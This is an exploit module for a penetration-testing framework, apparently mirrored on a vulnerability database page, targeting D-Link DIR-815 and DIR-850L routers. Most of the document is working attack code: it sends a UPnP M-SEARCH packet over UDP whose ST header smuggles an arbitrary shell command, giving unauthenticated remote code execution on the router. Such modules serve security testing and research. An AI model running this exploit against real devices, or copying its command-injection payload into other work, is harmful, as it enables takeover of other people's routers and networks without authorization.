D-Link DIR-815 & DIR-850L RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-815 & DIR-850L RCE"""
import socket
from kittysploit import *
from lib.exploit.handler import Handler
class Module(Exploit, Handler):
__info__ = {
'name': 'D-Link DIR-815 & DIR-850L RCE',
'description': 'Module exploits D-Link DIR-815 and DIR-850L Remote Code Execution vulnerability which allows executing command on the device.',
'author': ['Samuel Huntley', 'Marcin Bury'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.exploit-db.com/exploits/38715/'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(1900, "Target UPNP port")
def execute(self, cmd):
request = (
"M-SEARCH * HTTP/1.1\r\n" +
"HOST:{}:{}\r\n".format(self.target, self.port) +
"ST:urn:schemas-upnp-org:service:WANIPConnection:1;{};ls\r\n".format(cmd) +
"MX:2\r\n" +
"MAN:\"ssdp:discover\"\r\n\r\n"
)
request = bytes(request, "utf-8")
udp_client = _udp_socket(self)
udp_client.send(request)
udp_client.close()
return ""
def check(self):
return {"vulnerable": False, "reason": "Unable to verify", "confidence": "low"}
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6Medium risk
Vulners AI Score6